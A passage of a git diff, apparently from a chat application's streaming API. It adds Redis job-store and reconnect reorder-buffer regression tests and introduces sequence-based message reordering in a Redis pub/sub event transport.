concurrent emitDone and deleteJob', async () => { + if (!ioredisClient) { + return; + } + + const { RedisJobStore } = await import('../implementations/RedisJobStore'); + const store = new RedisJobStore(ioredisClient); + await store.initialize(); + + const streamId = `concurrent-race-${Date.now()}`; + await store.createJob(streamId, 'user-1', streamId); + + const jobKey = `stream:{${streamId}}:job`; + + await Promise.all([ + store.updateJob(streamId, { finalEvent: JSON.stringify({ final: true }) }), + store.deleteJob(streamId), + ]); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + const exists = await ioredisClient.exists(jobKey); + const ttl = exists ? await ioredisClient.ttl(jobKey) : -2; + + expect(ttl === -2 || ttl > 0).toBe(true); + expect(ttl).not.toBe(-1); + + await store.destroy(); + }); + }); + describe('Local Graph Cache Optimization', () => { test('should use local cache when available', async () => { if (!ioredisClient) { @@ -972,4 +1036,196 @@ describe('RedisJobStore Integration Tests', () => { await instance2.destroy(); }); }); + + describe('Batched Cleanup', () => { + test('should clean up many stale jobs in parallel batches', async () => { + if (!ioredisClient) { + return; + } + + const { RedisJobStore } = await import('../implementations/RedisJobStore'); + // Very short TTL so jobs are immediately stale + const store = new RedisJobStore(ioredisClient, { runningTtl: 1 }); + await store.initialize(); + + const jobCount = 75; // More than one batch of 50 + const veryOldTimestamp = Date.now() - 10000; // 10 seconds ago + + // Create many stale jobs directly in Redis + for (let i = 0; i < jobCount; i++) { + const streamId = `batch-cleanup-${Date.now()}-${i}`; + const jobKey = `stream:{${streamId}}:job`; + await ioredisClient.hmset(jobKey, { + streamId, + userId: 'batch-user', + status: 'running', + createdAt: veryOldTimestamp.toString(), + syncSent: '0', + }); + await ioredisClient.sadd('stream:running', streamId); + } + + // Verify jobs are in the running set + const runningBefore = await ioredisClient.scard('stream:running'); + expect(runningBefore).toBeGreaterThanOrEqual(jobCount); + + // Run cleanup - should process in batches of 50 + const cleaned = await store.cleanup(); + expect(cleaned).toBeGreaterThanOrEqual(jobCount); + + await store.destroy(); + }); + + test('should not clean up valid running jobs during batch cleanup', async () => { + if (!ioredisClient) { + return; + } + + const { RedisJobStore } = await import('../implementations/RedisJobStore'); + const store = new RedisJobStore(ioredisClient, { runningTtl: 1200 }); + await store.initialize(); + + // Create a mix of valid and stale jobs + const validStreamId = `valid-job-${Date.now()}`; + await store.createJob(validStreamId, 'user-1', validStreamId); + + const staleStreamId = `stale-job-${Date.now()}`; + const jobKey = `stream:{${staleStreamId}}:job`; + await ioredisClient.hmset(jobKey, { + streamId: staleStreamId, + userId: 'user-1', + status: 'running', + createdAt: (Date.now() - 2000000).toString(), // Very old + syncSent: '0', + }); + await ioredisClient.sadd('stream:running', staleStreamId); + + const cleaned = await store.cleanup(); + expect(cleaned).toBeGreaterThanOrEqual(1); + + // Valid job should still exist + const validJob = await store.getJob(validStreamId); + expect(validJob).not.toBeNull(); + expect(validJob?.status).toBe('running'); + + await store.destroy(); + }); + }); + + describe('appendChunk TTL Refresh', () => { + test('should set TTL on the chunk stream', async () => { + if (!ioredisClient) { + return; + } + + const { RedisJobStore } = await import('../implementations/RedisJobStore'); + const store = new RedisJobStore(ioredisClient, { runningTtl: 120 }); + await store.initialize(); + + const streamId = `append-ttl-${Date.now()}`; + await store.createJob(streamId, 'user-1', streamId); + + await store.appendChunk(streamId, { + event: 'on_message_delta', + data: { id: 'step-1', type: 'text', text: 'first' }, + }); + + const chunkKey = `stream:{${streamId}}:chunks`; + const ttl = await ioredisClient.ttl(chunkKey); + expect(ttl).toBeGreaterThan(0); + expect(ttl).toBeLessThanOrEqual(120); + + await store.destroy(); + }); + + test('should refresh TTL on subsequent chunks (not just first)', async () => { + if (!ioredisClient) { + return; + } + + const { RedisJobStore } = await import('../implementations/RedisJobStore'); + const store = new RedisJobStore(ioredisClient, { runningTtl: 120 }); + await store.initialize(); + + const streamId = `append-refresh-${Date.now()}`; + await store.createJob(streamId, 'user-1', streamId); + + // Append first chunk + await store.appendChunk(streamId, { + event: 'on_message_delta', + data: { id: 'step-1', type: 'text', text: 'first' }, + }); + + const chunkKey = `stream:{${streamId}}:chunks`; + const ttl1 = await ioredisClient.ttl(chunkKey); + expect(ttl1).toBeGreaterThan(0); + + // Manually reduce TTL to simulate time passing + await ioredisClient.expire(chunkKey, 30); + const reducedTtl = await ioredisClient.ttl(chunkKey); + expect(reducedTtl).toBeLessThanOrEqual(30); + + // Append another chunk - TTL should be refreshed back to running TTL + await store.appendChunk(streamId, { + event: 'on_message_delta', + data: { id: 'step-1', type: 'text', text: 'second' }, + }); + + const ttl2 = await ioredisClient.ttl(chunkKey); + // Should be refreshed to ~120, not still ~30 + expect(ttl2).toBeGreaterThan(30); + expect(ttl2).toBeLessThanOrEqual(120); + + await store.destroy(); + }); + + test('should store chunks correctly via pipeline', async () => { + if (!ioredisClient) { + return; + } + + const { RedisJobStore } = await import('../implementations/RedisJobStore'); + const store = new RedisJobStore(ioredisClient); + await store.initialize(); + + const streamId = `append-pipeline-${Date.now()}`; + await store.createJob(streamId, 'user-1', streamId); + + const chunks = [ + { + event: 'on_run_step', + data: { + id: 'step-1', + runId: 'run-1', + index: 0, + stepDetails: { type: 'message_creation' }, + }, + }, + { + event: 'on_message_delta', + data: { id: 'step-1', delta: { content: { type: 'text', text: 'Hello ' } } }, + }, + { + event: 'on_message_delta', + data: { id: 'step-1', delta: { content: { type: 'text', text: 'world!' } } }, + }, + ]; + + for (const chunk of chunks) { + await store.appendChunk(streamId, chunk); + } + + // Verify all chunks were stored + const chunkKey = `stream:{${streamId}}:chunks`; + const len = await ioredisClient.xlen(chunkKey); + expect(len).toBe(3); + + // Verify content can be reconstructed + const content = await store.getContentParts(streamId); + expect(content).not.toBeNull(); + expect(content!.content.length).toBeGreaterThan(0); + + await store.destroy(); + }); + }); }); diff --git a/packages/api/src/stream/__tests__/collectedUsage.spec.ts b/packages/api/src/stream/__tests__/collectedUsage.spec.ts index 3e534b537a..d9a9ab95fe 100644 --- a/packages/api/src/stream/__tests__/collectedUsage.spec.ts +++ b/packages/api/src/stream/__tests__/collectedUsage.spec.ts @@ -146,7 +146,7 @@ describe('CollectedUsage - GenerationJobManager', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `manager-test-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -179,7 +179,7 @@ describe('CollectedUsage - GenerationJobManager', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `no-usage-test-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -202,7 +202,7 @@ describe('CollectedUsage - GenerationJobManager', () => { isRedis: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const collectedUsage: UsageMetadata[] = [ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, @@ -235,7 +235,7 @@ describe('AbortJob - Text and CollectedUsage', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `text-extract-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -267,7 +267,7 @@ describe('AbortJob - Text and CollectedUsage', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `empty-text-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -291,7 +291,7 @@ describe('AbortJob - Text and CollectedUsage', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `full-abort-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -328,7 +328,7 @@ describe('AbortJob - Text and CollectedUsage', () => { isRedis: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const abortResult = await GenerationJobManager.abortJob('non-existent-job'); @@ -365,7 +365,7 @@ describe('Real-world Scenarios', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `parallel-abort-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -419,7 +419,7 @@ describe('Real-world Scenarios', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `cache-abort-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -459,7 +459,7 @@ describe('Real-world Scenarios', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `sequential-abort-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); diff --git a/packages/api/src/stream/__tests__/reconnect-reorder-desync.stream_integration.spec.ts b/packages/api/src/stream/__tests__/reconnect-reorder-desync.stream_integration.spec.ts new file mode 100644 index 0000000000..effb7c5c7d --- /dev/null +++ b/packages/api/src/stream/__tests__/reconnect-reorder-desync.stream_integration.spec.ts @@ -0,0 +1,450 @@ +import type { Redis, Cluster } from 'ioredis'; +import { RedisEventTransport } from '~/stream/implementations/RedisEventTransport'; +import { GenerationJobManagerClass } from '~/stream/GenerationJobManager'; +import { createStreamServices } from '~/stream/createStreamServices'; +import { + ioredisClient as staticRedisClient, + keyvRedisClient as staticKeyvClient, + keyvRedisClientReady, +} from '~/cache/redisClients'; + +/** + * Regression tests for the reconnect reorder buffer desync bug. + * + * Bug: When a user disconnects and reconnects to a stream multiple times, + * the second+ reconnect lost chunks because the transport deleted stream state + * on last unsubscribe, destroying the allSubscribersLeftCallbacks registered + * by createJob(). This prevented hasSubscriber from being reset, which in turn + * prevented syncReorderBuffer from being called on reconnect. + * + * Fix: Preserve stream state (callbacks, abort handlers) across reconnect cycles + * instead of deleting it. The state is fully cleaned up by cleanup() when the + * job completes. + * + * Run with: USE_REDIS=true npx jest reconnect-reorder-desync + */ +describe('Reconnect Reorder Buffer Desync (Regression)', () => { + describe('Callback preservation across reconnect cycles (Unit)', () => { + test('allSubscribersLeft callback fires on every disconnect, not just the first', () => { + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = 'callback-persist-test'; + let callbackFireCount = 0; + + // Register callback (simulates what createJob does) + transport.onAllSubscribersLeft(streamId, () => { + callbackFireCount++; + }); + + // First subscribe/unsubscribe cycle + const sub1 = transport.subscribe(streamId, { onChunk: () => {} }); + sub1.unsubscribe(); + + expect(callbackFireCount).toBe(1); + + // Second subscribe/unsubscribe cycle — callback must still fire + const sub2 = transport.subscribe(streamId, { onChunk: () => {} }); + sub2.unsubscribe(); + + expect(callbackFireCount).toBe(2); + + // Third cycle — continues to work + const sub3 = transport.subscribe(streamId, { onChunk: () => {} }); + sub3.unsubscribe(); + + expect(callbackFireCount).toBe(3); + + transport.destroy(); + }); + + test('abort callback survives across reconnect cycles', () => { + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = 'abort-callback-persist-test'; + let abortCallbackFired = false; + + // Register abort callback (simulates what createJob does) + transport.onAbort(streamId, () => { + abortCallbackFired = true; + }); + + // Subscribe/unsubscribe cycle + const sub1 = transport.subscribe(streamId, { onChunk: () => {} }); + sub1.unsubscribe(); + + // Re-subscribe and receive an abort signal + const sub2 = transport.subscribe(streamId, { onChunk: () => {} }); + + const messageHandler = mockSubscriber.on.mock.calls.find( + (call) => call[0] === 'message', + )?.[1] as (channel: string, message: string) => void; + + const channel = `stream:{${streamId}}:events`; + messageHandler(channel, JSON.stringify({ type: 'abort' })); + + // Abort callback should fire — it was preserved across the reconnect + expect(abortCallbackFired).toBe(true); + + sub2.unsubscribe(); + transport.destroy(); + }); + }); + + describe('Reorder buffer sync on reconnect (Unit)', () => { + /** + * After the fix, the allSubscribersLeft callback fires on every disconnect, + * which resets hasSubscriber. GenerationJobManager.subscribe() then enters + * the if (!runtime.hasSubscriber) block and calls syncReorderBuffer. + * + * This test verifies at the transport level that when syncReorderBuffer IS + * called (as it now will be on every reconnect), messages are delivered + * immediately regardless of how many reconnect cycles have occurred. + */ + test('syncReorderBuffer works correctly on third+ reconnect', async () => { + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = 'reorder-multi-reconnect-test'; + + transport.onAllSubscribersLeft(streamId, () => { + // Simulates the callback from createJob + }); + + const messageHandler = mockSubscriber.on.mock.calls.find( + (call) => call[0] === 'message', + )?.[1] as (channel: string, message: string) => void; + + const channel = `stream:{${streamId}}:events`; + + // Run 3 full subscribe/emit/unsubscribe cycles + for (let cycle = 0; cycle < 3; cycle++) { + const chunks: unknown[] = []; + const sub = transport.subscribe(streamId, { + onChunk: (event) => chunks.push(event), + }); + + // Sync reorder buffer (as GenerationJobManager.subscribe does) + transport.syncReorderBuffer(streamId); + + const baseSeq = cycle * 10; + + // Emit 10 chunks (advances publisher sequence) + for (let i = 0; i < 10; i++) { + await transport.emitChunk(streamId, { index: baseSeq + i }); + } + + // Deliver messages via pub/sub handler + for (let i = 0; i < 10; i++) { + messageHandler( + channel, + JSON.stringify({ type: 'chunk', seq: baseSeq + i, data: { index: baseSeq + i } }), + ); + } + + // Messages should be delivered immediately on every cycle + expect(chunks.length).toBe(10); + expect(chunks.map((c) => (c as { index: number }).index)).toEqual( + Array.from({ length: 10 }, (_, i) => baseSeq + i), + ); + + sub.unsubscribe(); + } + + transport.destroy(); + }); + + test('reorder buffer works correctly when syncReorderBuffer IS called', async () => { + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = 'reorder-sync-test'; + + // Emit 20 chunks to advance publisher sequence + for (let i = 0; i < 20; i++) { + await transport.emitChunk(streamId, { index: i }); + } + + // Subscribe and sync the reorder buffer + const chunks: unknown[] = []; + const sub = transport.subscribe(streamId, { + onChunk: (event) => chunks.push(event), + }); + + // This is the critical call - sync nextSeq to match publisher + transport.syncReorderBuffer(streamId); + + // Deliver messages starting at seq 20 + const messageHandler = mockSubscriber.on.mock.calls.find( + (call) => call[0] === 'message', + )?.[1] as (channel: string, message: string) => void; + + const channel = `stream:{${streamId}}:events`; + + for (let i = 20; i < 25; i++) { + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: i, data: { index: i } })); + } + + // Messages should be delivered IMMEDIATELY (no 500ms wait) + // because nextSeq was synced to 20 + expect(chunks.length).toBe(5); + expect(chunks.map((c) => (c as { index: number }).index)).toEqual([20, 21, 22, 23, 24]); + + sub.unsubscribe(); + transport.destroy(); + }); + }); + + describe('End-to-end reconnect with GenerationJobManager (Integration)', () => { + let originalEnv: NodeJS.ProcessEnv; + let ioredisClient: Redis | Cluster | null = null; + let dynamicKeyvClient: unknown = null; + let dynamicKeyvReady: Promise | null = null; + const testPrefix = 'ReconnectDesync-Test'; + + beforeAll(async () => { + originalEnv = { ...process.env }; + + process.env.USE_REDIS = process.env.USE_REDIS ?? 'true'; + process.env.REDIS_URI = process.env.REDIS_URI ?? 'redis://127.0.0.1:6379'; + process.env.REDIS_KEY_PREFIX = testPrefix; + + jest.resetModules(); + + const redisModule = await import('~/cache/redisClients'); + ioredisClient = redisModule.ioredisClient; + dynamicKeyvClient = redisModule.keyvRedisClient; + dynamicKeyvReady = redisModule.keyvRedisClientReady; + }); + + afterEach(async () => { + jest.resetModules(); + + if (ioredisClient) { + try { + const keys = await ioredisClient.keys(`${testPrefix}*`); + const streamKeys = await ioredisClient.keys('stream:*'); + const allKeys = [...keys, ...streamKeys]; + await Promise.all(allKeys.map((key) => ioredisClient!.del(key))); + } catch { + // Ignore cleanup errors + } + } + }); + + afterAll(async () => { + for (const ready of [keyvRedisClientReady, dynamicKeyvReady]) { + if (ready) { + await ready.catch(() => {}); + } + } + + const clients = [ioredisClient, staticRedisClient, staticKeyvClient, dynamicKeyvClient]; + for (const client of clients) { + if (!client) { + continue; + } + try { + await (client as { disconnect: () => void | Promise }).disconnect(); + } catch { + /* ignore */ + } + } + + process.env = originalEnv; + }); + + /** + * Verifies that all reconnect cycles deliver chunks immediately — + * not just the first reconnect. + */ + test('chunks are delivered immediately on every reconnect cycle', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const manager = new GenerationJobManagerClass(); + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + manager.configure(services); + manager.initialize(); + + const streamId = `reconnect-fixed-${Date.now()}`; + await manager.createJob(streamId, 'user-1'); + + // Run 3 subscribe/emit/unsubscribe cycles + for (let cycle = 0; cycle < 3; cycle++) { + const chunks: unknown[] = []; + const sub = await manager.subscribe(streamId, (event) => chunks.push(event)); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Emit 10 chunks + for (let i = 0; i < 10; i++) { + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { + delta: { content: { type: 'text', text: `c${cycle}-${i}` } }, + index: cycle * 10 + i, + }, + }); + } + + // Chunks should arrive within 200ms (well under the 500ms force-flush timeout) + await new Promise((resolve) => setTimeout(resolve, 200)); + + expect(chunks.length).toBe(10); + + sub!.unsubscribe(); + await new Promise((resolve) => setTimeout(resolve, 100)); + } + + await manager.destroy(); + }); + + /** + * Verifies that syncSent is correctly reset on every disconnect, + * proving the onAllSubscribersLeft callback survives reconnect cycles. + */ + test('onAllSubscribersLeft callback resets state on every disconnect', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const manager = new GenerationJobManagerClass(); + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + manager.configure(services); + manager.initialize(); + + const streamId = `callback-persist-integ-${Date.now()}`; + await manager.createJob(streamId, 'user-1'); + + for (let cycle = 0; cycle < 3; cycle++) { + const sub = await manager.subscribe(streamId, () => {}); + await new Promise((resolve) => setTimeout(resolve, 50)); + + // Mark sync as sent + manager.markSyncSent(streamId); + await new Promise((resolve) => setTimeout(resolve, 50)); + + let syncSent = await manager.wasSyncSent(streamId); + expect(syncSent).toBe(true); + + // Disconnect + sub!.unsubscribe(); + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Callback should reset syncSent on every disconnect + syncSent = await manager.wasSyncSent(streamId); + expect(syncSent).toBe(false); + } + + await manager.destroy(); + }); + + /** + * Verifies all reconnect cycles deliver chunks immediately with no + * increasing gap pattern. + */ + test('no increasing gap pattern across reconnect cycles', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const manager = new GenerationJobManagerClass(); + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + manager.configure(services); + manager.initialize(); + + const streamId = `no-gaps-${Date.now()}`; + await manager.createJob(streamId, 'user-1'); + + const chunksPerCycle = 15; + + for (let cycle = 0; cycle < 4; cycle++) { + const chunks: unknown[] = []; + const sub = await manager.subscribe(streamId, (event) => chunks.push(event)); + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Emit chunks + for (let i = 0; i < chunksPerCycle; i++) { + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { + delta: { content: { type: 'text', text: `c${cycle}-${i}` } }, + index: cycle * chunksPerCycle + i, + }, + }); + } + + // All chunks should arrive within 200ms on every cycle + await new Promise((resolve) => setTimeout(resolve, 200)); + expect(chunks.length).toBe(chunksPerCycle); + + sub!.unsubscribe(); + await new Promise((resolve) => setTimeout(resolve, 100)); + } + + await manager.destroy(); + }); + }); +}); diff --git a/packages/api/src/stream/implementations/InMemoryEventTransport.ts b/packages/api/src/stream/implementations/InMemoryEventTransport.ts index 39b3d6029d..c2e7ba01fd 100644 --- a/packages/api/src/stream/implementations/InMemoryEventTransport.ts +++ b/packages/api/src/stream/implementations/InMemoryEventTransport.ts @@ -32,7 +32,7 @@ export class InMemoryEventTransport implements IEventTransport { onDone?: (event: unknown) => void; onError?: (error: string) => void; }, - ): { unsubscribe: () => void } { + ): { unsubscribe: () => void; ready?: Promise } { const state = this.getOrCreateStream(streamId); const chunkHandler = (event: unknown) => handlers.onChunk(event); @@ -58,9 +58,11 @@ export class InMemoryEventTransport implements IEventTransport { // Check if all subscribers left - cleanup and notify if (currentState.emitter.listenerCount('chunk') === 0) { currentState.allSubscribersLeftCallback?.(); - // Auto-cleanup the stream entry when no subscribers remain + /* Remove all EventEmitter listeners but preserve stream state + * (including allSubscribersLeftCallback) for reconnection. + * State is fully cleaned up by cleanup() when the job completes. + */ currentState.emitter.removeAllListeners(); - this.streams.delete(streamId); } } }, diff --git a/packages/api/src/stream/implementations/RedisEventTransport.ts b/packages/api/src/stream/implementations/RedisEventTransport.ts index 02d4cb69ed..3682a9a749 100644 --- a/packages/api/src/stream/implementations/RedisEventTransport.ts +++ b/packages/api/src/stream/implementations/RedisEventTransport.ts @@ -22,10 +22,30 @@ const EventTypes = { interface PubSubMessage { type: (typeof EventTypes)[keyof typeof EventTypes]; + /** Sequence number for ordering (critical for Redis Cluster) */ + seq?: number; data?: unknown; error?: string; } +/** + * Reorder buffer state for a stream subscription. + * Handles out-of-order message delivery in Redis Cluster mode. + */ +interface ReorderBuffer { + /** Next expected sequence number */ + nextSeq: number; + /** Buffered messages waiting for earlier sequences */ + pending: Map; + /** Timeout handle for flushing stale messages */ + flushTimeout: ReturnType | null; +} + +/** Max time (ms) to wait for out-of-order messages before force-flushing */ +const REORDER_TIMEOUT_MS = 500; +/** Max messages to buffer before force-flushing (prevents memory issues) */ +const MAX_BUFFER_SIZE = 100; + /** * Subscriber state for a stream */ @@ -42,6 +62,8 @@ interface StreamSubscribers { allSubscribersLeftCallbacks: Array<() => void>; /** Abort callbacks - called when abort signal is received from any replica */ abortCallbacks: Array<() => void>; + /** Reorder buffer for handling out-of-order delivery in Redis Cluster */ + reorderBuffer: ReorderBuffer; } /** @@ -70,10 +92,12 @@ export class RedisEventTransport implements IEventTransport { private subscriber: Redis | Cluster; /** Track subscribers per stream */ private streams = new Map(); - /** Track which channels we're subscribed to */ - private subscribedChannels = new Set(); + /** Track channel subscription state: resolved promise = active, pending = in-flight */ + private channelSubscriptions = new Map>(); /** Counter for generating unique subscriber IDs */ private subscriberIdCounter = 0; + /** Sequence counters per stream for publishing (ensures ordered delivery in cluster mode) */ + private sequenceCounters = new Map(); /** * Create a new Redis event transport. @@ -91,12 +115,45 @@ export class RedisEventTransport implements IEventTransport { }); } + /** Get next sequence number for a stream (0-indexed) */ + private getNextSequence(streamId: string): number { + const current = this.sequenceCounters.get(streamId) ?? 0; + this.sequenceCounters.set(streamId, current + 1); + return current; + } + + /** Reset publish sequence counter and subscriber reorder state for a stream (full cleanup only) */ + resetSequence(streamId: string): void { + this.sequenceCounters.delete(streamId); + const state = this.streams.get(streamId); + if (state) { + if (state.reorderBuffer.flushTimeout) { + clearTimeout(state.reorderBuffer.flushTimeout); + state.reorderBuffer.flushTimeout = null; + } + state.reorderBuffer.nextSeq = 0; + state.reorderBuffer.pending.clear(); + } + } + + /** Advance subscriber reorder buffer to current publisher sequence without resetting publisher (cross-replica safe) */ + syncReorderBuffer(streamId: string): void { + const currentSeq = this.sequenceCounters.get(streamId) ?? 0; + const state = this.streams.get(streamId); + if (state) { + if (state.reorderBuffer.flushTimeout) { + clearTimeout(state.reorderBuffer.flushTimeout); + state.reorderBuffer.flushTimeout = null; + } + state.reorderBuffer.nextSeq = currentSeq; + state.reorderBuffer.pending.clear(); + } + } + /** - * Handle incoming pub/sub message + * Handle incoming pub/sub message with reordering support for Redis Cluster */ private handleMessage(channel: string, message: string): void { - // Extract streamId from channel name: stream:{streamId}:events - // Use regex to extract the hash tag content const match = channel.match(/^stream:\{([^}]+)\}:events$/); if (!match) { return; @@ -111,38 +168,179 @@ export class RedisEventTransport implements IEventTransport { try { const parsed = JSON.parse(message) as PubSubMessage; - for (const [, handlers] of streamState.handlers) { - switch (parsed.type) { - case EventTypes.CHUNK: - handlers.onChunk(parsed.data); - break; - case EventTypes.DONE: - handlers.onDone?.(parsed.data); - break; - case EventTypes.ERROR: - handlers.onError?.(parsed.error ?? 'Unknown error'); - break; - case EventTypes.ABORT: - // Abort is handled at stream level, not per-handler - break; - } - } - - // Handle abort signals at stream level (not per-handler) - if (parsed.type === EventTypes.ABORT) { - for (const callback of streamState.abortCallbacks) { - try { - callback(); - } catch (err) { - logger.error(`[RedisEventTransport] Error in abort callback:`, err); - } - } + if (parsed.type === EventTypes.CHUNK && parsed.seq != null) { + this.handleOrderedChunk(streamId, streamState, parsed); + } else if ( + (parsed.type === EventTypes.DONE || parsed.type === EventTypes.ERROR) && + parsed.seq != null + ) { + this.handleTerminalEvent(streamId, streamState, parsed); + } else { + this.deliverMessage(streamState, parsed); } } catch (err) { logger.error(`[RedisEventTransport] Failed to parse message:`, err); } } + /** + * Handle terminal events (done/error) with sequence-based ordering. + * Buffers the terminal event and delivers after all preceding chunks arrive. + */ + private handleTerminalEvent( + streamId: string, + streamState: StreamSubscribers, + message: PubSubMessage, + ): void { + const buffer = streamState.reorderBuffer; + const seq = message.seq!; + + if (seq < buffer.nextSeq) { + logger.debug( + `[RedisEventTransport] Dropping duplicate terminal event for stream ${streamId}: seq=${seq}, expected=${buffer.nextSeq}`, + ); + return; + } + + if (seq === buffer.nextSeq) { + this.deliverMessage(streamState, message); + buffer.nextSeq++; + this.flushPendingMessages(streamId, streamState); + } else { + buffer.pending.set(seq, message); + this.scheduleFlushTimeout(streamId, streamState); + } + } + + /** + * Handle chunk messages with sequence-based reordering. + * Buffers out-of-order messages and delivers them in sequence. + */ + private handleOrderedChunk( + streamId: string, + streamState: StreamSubscribers, + message: PubSubMessage, + ): void { + const buffer = streamState.reorderBuffer; + const seq = message.seq!; + + if (seq === buffer.nextSeq) { + this.deliverMessage(streamState, message); + buffer.nextSeq++; + + this.flushPendingMessages(streamId, streamState); + } else if (seq > buffer.nextSeq) { + buffer.pending.set(seq, message); + + if (buffer.pending.size >= MAX_BUFFER_SIZE) { + logger.warn(`[RedisEventTransport] Buffer overflow for stream ${streamId}, force-flushing`); + this.forceFlushBuffer(streamId, streamState); + } else { + this.scheduleFlushTimeout(streamId, streamState); + } + } else { + logger.debug( + `[RedisEventTransport] Dropping duplicate/old message for stream ${streamId}: seq=${seq}, expected=${buffer.nextSeq}`, + ); + } + } + + /** Deliver consecutive pending messages */ + private flushPendingMessages(streamId: string, streamState: StreamSubscribers): void { + const buffer = streamState.reorderBuffer; + + while (buffer.pending.has(buffer.nextSeq)) { + const message = buffer.pending.get(buffer.nextSeq)!; + buffer.pending.delete(buffer.nextSeq); + this.deliverMessage(streamState, message); + buffer.nextSeq++; + } + + if (buffer.pending.size === 0 && buffer.flushTimeout) { + clearTimeout(buffer.flushTimeout); + buffer.flushTimeout = null; + } + } + + /** Force-flush all pending messages in order (used on timeout or overflow) */ + private forceFlushBuffer(streamId: string, streamState: StreamSubscribers): void { + const buffer = streamState.reorderBuffer; + + if (buffer.flushTimeout) { + clearTimeout(buffer.flushTimeout); + buffer.flushTimeout = null; + } + + if (buffer.pending.size === 0) { + return; + } + + const sortedSeqs = [...buffer.pending.keys()].sort((a, b) => a - b); + const skipped = sortedSeqs[0] - buffer.nextSeq; + + if (skipped > 0) { + logger.warn( + `[RedisEventTransport] Stream ${streamId}: skipping ${skipped} missing messages (seq ${buffer.nextSeq}-${sortedSeqs[0] - 1})`, + ); + } + + for (const seq of sortedSeqs) { + const message = buffer.pending.get(seq)!; + buffer.pending.delete(seq); + this.deliverMessage(streamState, message); + } + + buffer.nextSeq = sortedSeqs[sortedSeqs.length - 1] + 1; + } + + /** Schedule a timeout to force-flush if gaps aren't filled */ + private scheduleFlushTimeout(streamId: string, streamState: StreamSubscribers): void { + const buffer = streamState.reorderBuffer; + + if (buffer.flushTimeout) { + return; + } + + buffer.flushTimeout = setTimeout(() => { + buffer.flushTimeout = null; + if (buffer.pending.size > 0) { + logger.warn( + `[RedisEventTransport] Stream ${streamId}: timeout waiting for seq ${buffer.nextSeq}, force-flushing ${buffer.pending.size} messages`, + ); + this.forceFlushBuffer(streamId, streamState); + } + }, REORDER_TIMEOUT_MS); + } + + /** Deliver a message to all handlers */ + private deliverMessage(streamState: StreamSubscribers, message: PubSubMessage): void { + for (const [, handlers] of streamState.handlers) { + switch (message.type) { + case EventTypes.CHUNK: + handlers.onChunk(message.data); + break; + case EventTypes.DONE: + handlers.onDone?.(message.data); + break; + case EventTypes.ERROR: + handlers.onError?.(message.error ?? 'Unknown error'); + break; + case EventTypes.ABORT: + break; + } + } + + if (message.type === EventTypes.ABORT) { + for (const callback of streamState.abortCallbacks) { + try { + callback(); + } catch (err) { + logger.error(`[RedisEventTransport] Error in abort callback:`, err); + } + } + } + } + /** * Subscribe to events for a stream. * @@ -156,7 +354,7 @@ export class RedisEventTransport implements IEventTransport { onDone?: (event: unknown) => void; onError?: (error: string) => void; }, - ): { unsubscribe: () => void } { + ): { unsubscribe: () => void; ready?: Promise } { const channel = CHANNELS.events(streamId); const subscriberId = `sub_${++this.subscriberIdCounter}`; @@ 